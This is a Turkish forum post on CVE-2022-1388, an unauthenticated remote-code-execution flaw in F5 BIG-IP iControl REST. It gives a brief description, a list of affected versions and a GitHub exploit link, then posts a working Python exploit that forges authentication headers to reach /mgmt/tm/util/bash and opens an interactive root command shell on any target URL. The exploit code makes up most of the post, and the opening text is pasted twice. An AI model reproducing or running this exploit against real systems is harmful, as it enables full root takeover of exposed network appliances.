- 14 Eki 2022
- 569
- 467
*F5 BIG-IP iControl REST RCE
"""
F5 Networks, 4 Mayıs 2022 tarihinde bir güvenlik açığı hakkında bilgi paylaştı. Bu açık, ağ erişimi olan kimliği doğrulanmamış bir saldırganın, yönetim bağlantı noktası veya kendi IP adresini kullanarak keyfi komutlar çalıştırmasına izin veriyor. Sorun, F5 BIG-IP'de bulunan "/mgmt/tm/util/bash" hizmetinde meydana geliyor. Bu hizmet, BIG-IP'nin root kullanıcısı olarak komutları çalıştırmasına olanak tanıyor. Ancak, bu hizmet şifre veya kimlik doğrulama gerektirmediğinden, saldırganlar etkilenen F5 BIG-IP ürünlerine ağ erişimine sahip oldukları takdirde artırılmış ayrıcalıklarla uzaktan komutları çalıştırabilirler.
"""
Aşağıda ki sürümler bu zafiyetten etkileniyor.
Exploit link: GitHub - Al1ex/CVE-2022-1388: CVE-2022-1388 F5 BIG-IP iControl REST RCE
Editlenmiş hali,
"""
F5 Networks, 4 Mayıs 2022 tarihinde bir güvenlik açığı hakkında bilgi paylaştı. Bu açık, ağ erişimi olan kimliği doğrulanmamış bir saldırganın, yönetim bağlantı noktası veya kendi IP adresini kullanarak keyfi komutlar çalıştırmasına izin veriyor. Sorun, F5 BIG-IP'de bulunan "/mgmt/tm/util/bash" hizmetinde meydana geliyor. Bu hizmet, BIG-IP'nin root kullanıcısı olarak komutları çalıştırmasına olanak tanıyor. Ancak, bu hizmet şifre veya kimlik doğrulama gerektirmediğinden, saldırganlar etkilenen F5 BIG-IP ürünlerine ağ erişimine sahip oldukları takdirde artırılmış ayrıcalıklarla uzaktan komutları çalıştırabilirler.
"""
Aşağıda ki sürümler bu zafiyetten etkileniyor.
- 16.1.0 - 16.1.2
- 15.1.0 - 15.1.5
- 14.1.0 - 14.1.4
- 13.1.0 - 13.1.4
- 12.1.0 - 12.1.6
- 11.6.1 - 11.6.5
Exploit link: GitHub - Al1ex/CVE-2022-1388: CVE-2022-1388 F5 BIG-IP iControl REST RCE
Editlenmiş hali,
Python:
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from colorama import *
import requests, click
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
init()
print(f"""{Fore.MAGENTA}
______ ______ ___ ___ ___ ___ _______ ___ ___
/ ___/ | / / __/___|_ |/ _ \|_ ||_ |__< /_ /( _ )( _ )
/ /__ | |/ / _//___/ __// // / __// __/___/ //_ </ _ / _ |
\___/ |___/___/ /____/\___/____/____/ /_/____/\___/\___/
> {Fore.RED}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
""")
url = input(f"{Fore.MAGENTA}[?] {Fore.WHITE}Bir url girin: ")
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36",
'Content-Type': 'application/json',
'Connection': 'keep-alive, x-F5-Auth-Token',
'X-F5-Auth-Token': 'abc',
'Authorization': 'Basic YWRtaW46'
}
response = requests.post(url + "/mgmt/tm/util/bash", json={
'command': "run",
'utilCmdArgs':"-c id"
}, headers=headers, verify=False, timeout=20)
if response.status_code == 200 and 'commandResult' in response.text:
print(f"\n{Fore.GREEN}[+] {Fore.WHITE}Güvenlik açığı bulundu!")
print(f"{Fore.GREEN}[+] {Fore.WHITE}ID: {str(response.json()['commandResult'])}\n")
else:
print(f"\n{Fore.RED}[-] {Fore.WHITE}Güvenlik açığı bulunamadı!")
exit()
while True:
command = input(f"{Fore.MAGENTA}[?] {Fore.WHITE}Çalıştırılacak komutu giriniz: ")
if command == "exit" or command == "quit":
break
elif command == "clear" or command == "cls":
click.clear()
continue
response = requests.post(url + "/mgmt/tm/util/bash", json={
'command': "run",
'utilCmdArgs': f"-c '{command.strip()}'"
}, headers=headers, verify=False, timeout=20).json()
try:
print(f"\n{str(response['commandResult'])}")
except:
continue
Son düzenleme: